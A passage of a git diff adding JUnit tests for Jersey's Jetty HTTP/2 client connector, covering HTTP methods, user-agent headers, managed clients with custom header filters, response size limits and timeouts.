+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter,
+                String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
new file mode 100644
index 0000000..215408b
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ManagedClientTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+    /**
+     * Managed client configuration for client A.
+     */
+    @ClientBinding(configClass = MyClientAConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public static @interface ClientA {
+    }
+
+    /**
+     * Managed client configuration for client B.
+     */
+    @ClientBinding(configClass = MyClientBConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public @interface ClientB {
+    }
+
+    /**
+     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+     * to every method that is annotated with {@link Require &#64;Require} internal feature
+     * annotation.
+     */
+    public static class CustomHeaderFeature implements DynamicFeature {
+
+        /**
+         * A method annotation to be placed on those resource methods to which a validating
+         * {@link CustomHeaderFilter} instance should be added.
+         */
+        @Retention(RetentionPolicy.RUNTIME)
+        @Documented
+        @Target(ElementType.METHOD)
+        public static @interface Require {
+
+            /**
+             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerName();
+
+            /**
+             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerValue();
+        }
+
+        @Override
+        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+            if (va != null) {
+                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+            }
+        }
+    }
+
+    /**
+     * A filter for appending and validating custom headers.
+     * <p>
+     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+     * </p>
+     * <p>
+     * On the server side, validates that each request has a custom header with a configured name and value.
+     * If the validation fails a HTTP 403 response is returned.
+     * </p>
+     */
+    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+        private final String headerName;
+        private final String headerValue;
+
+        public CustomHeaderFilter(String headerName, String headerValue) {
+            if (headerName == null || headerValue == null) {
+                throw new IllegalArgumentException("Header name and value must not be null.");
+            }
+            this.headerName = headerName;
+            this.headerValue = headerValue;
+        }
+
+        @Override
+        public void filter(ContainerRequestContext ctx) throws IOException { // validate
+            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+                        .type(MediaType.TEXT_PLAIN)
+                        .entity(String
+                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+                        .build());
+            }
+        }
+
+        @Override
+        public void filter(ClientRequestContext ctx) throws IOException { // append
+            ctx.getHeaders().putSingle(headerName, headerValue);
+        }
+    }
+
+    /**
+     * Internal resource accessed from the managed client resource.
+     */
+    @Path("internal")
+    public static class InternalResource {
+
+        @GET
+        @Path("a")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+        public String getA() {
+            return "a";
+        }
+
+        @GET
+        @Path("b")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+        public String getB() {
+            return "b";
+        }
+    }
+
+    /**
+     * A resource that uses managed clients to retrieve values of internal
+     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+     * and require a specific custom header in a request to be set to a specific value.
+     * <p>
+     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+     * with a proper value into the outgoing client requests.
+     * </p>
+     */
+    @Path("public")
+    public static class PublicResource {
+
+        @Uri("a")
+        @ClientA // resolves to <base>/internal/a
+        private WebTarget targetA;
+
+        @GET
+        @Produces("text/plain")
+        @Path("a")
+        public String getTargetA() {
+            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+        }
+
+        @GET
+        @Produces("text/plain")
+        @Path("b")
+        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+            return targetB.request(MediaType.TEXT_PLAIN).get();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    public static class MyClientAConfig extends ClientConfig {
+
+        public MyClientAConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "a"));
+        }
+    }
+
+    public static class MyClientBConfig extends ClientConfig {
+
+        public MyClientBConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "b"));
+        }
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    /**
+     * Test that a connection via managed clients works properly.
+     *
+     * @throws Exception in case of test failure.
+     */
+    @Test
+    public void testManagedClient() throws Exception {
+        final WebTarget resource = target().path("public").path("{name}");
+        Response response;
+
+        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("a", response.readEntity(String.class));
+
+        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("b", response.readEntity(String.class));
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
new file mode 100644
index 0000000..8412c41
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MethodTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @POST
+        public String post(String entity) {
+            return entity;
+        }
+
+        @PUT
+        public String put(String entity) {
+            return entity;
+        }
+
+        @PATCH
+        public String patch(String entity) {
+            return entity;
+        }
+
+        @DELETE
+        public String delete() {
+            return "DELETE";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().get().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPut() {
+        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPutAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDelete() {
+        Response response = target(PATH).request().delete();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDeleteAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().delete().get();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPatch() {
+        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+        assertEquals("PATCH", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testOptionsWithEntity() {
+        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+        assertEquals(200, response.getStatus());
+        response.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
new file mode 100644
index 0000000..1c14296
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+public class NoEntityTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public Response get() {
+            return Response.status(Response.Status.CONFLICT).build();
+        }
+
+        @POST
+        public void post(String entity) {
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testGetWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+        }
+    }
+
+    @Test
+    public void testPostWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+            cr.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
new file mode 100644
index 0000000..e3b2c3d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class SyncResponseSizeTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+    @Path("/test")
+    public static class TimeoutResource {
+
+        private static final byte[] data = new byte[maxBufferSize];
+
+        static {
+            Byte b = "a".getBytes()[0];
+            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+        }
+
+        @GET
+        @Path("/small")
+        public String getSmall() {
+            return "GET";
+        }
+
+        @GET
+        @Path("/big")
+        public String getBig() {
+            return new String(data);
+        }
+
+        @GET
+        @Path("/verybig")
+        public String getVeryBig() {
+            return new String(data) + "a";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testDefaultSmall() {
+        Response r = target("test/small").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDefaultTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/big").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            Response r = t.path("test/big").request().get();
+            String p = r.readEntity(String.class);
+            assertEquals(p.length(), maxBufferSize);
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/verybig").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
new file mode 100644
index 0000000..59f242e
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TimeoutTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+    @Path("/test")
+    public static class TimeoutResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("timeout")
+        public String getTimeout() {
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            return "GET";
+        }
+
+        /**
+         * Long-running streaming request
+         *
+         * @param count number of packets send
+         * @param pauseMillis pause between each packets
+         */
+        @GET
+        @Path("stream")
+        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+                                         @QueryParam("pauseMillis") int pauseMillis) {
+            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+            return Response.ok(streamingOutput)
+                    .build();
+        }
+    }
+
+    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+        return output -> {
+            try {
+                TimeUnit.MILLISECONDS.sleep(startMillis);
+            }
+            catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+            output.flush();
+            for (int i = 0; i < count; i++) {
+                try {
+                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
+                }
+                catch (InterruptedException e) {
+                    Thread.currentThread().interrupt();
+                }
+
+                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+                output.flush();
+            }
+            output.write("end".getBytes(StandardCharsets.UTF_8));
+        };
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testFast() {
+        Response r = target("test").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testSlow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testTimeoutInRequest() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        final Response response = target("test")
+                .property(ClientProperties.READ_TIMEOUT, 100L)
+                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                .path("stream")
+                .queryParam("count", count)
+                .queryParam("pauseMillis", pauseMillis)
+                .request().get();
+
+        assertTrue(response.readEntity(String.class).contains("end"));
+    }
+
+    @Test
+    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                    .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                    .path("stream")
+                    .queryParam("count", count)
+                    .queryParam("pauseMillis", pauseMillis)
+                    .request().get();
+
+            fail("This operation should trigger total timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+        int start = 150;
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                    .property(ClientProperties.READ_TIMEOUT, 100L)
+                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                    .path("stream")
+                    .queryParam("start", start)
+                    .queryParam("count", count)
+                    .queryParam("pauseMillis", pauseMillis)
+                    .request().get();
+            fail("This operation should trigger idle timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
new file mode 100644
index 0000000..4bf0bda
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
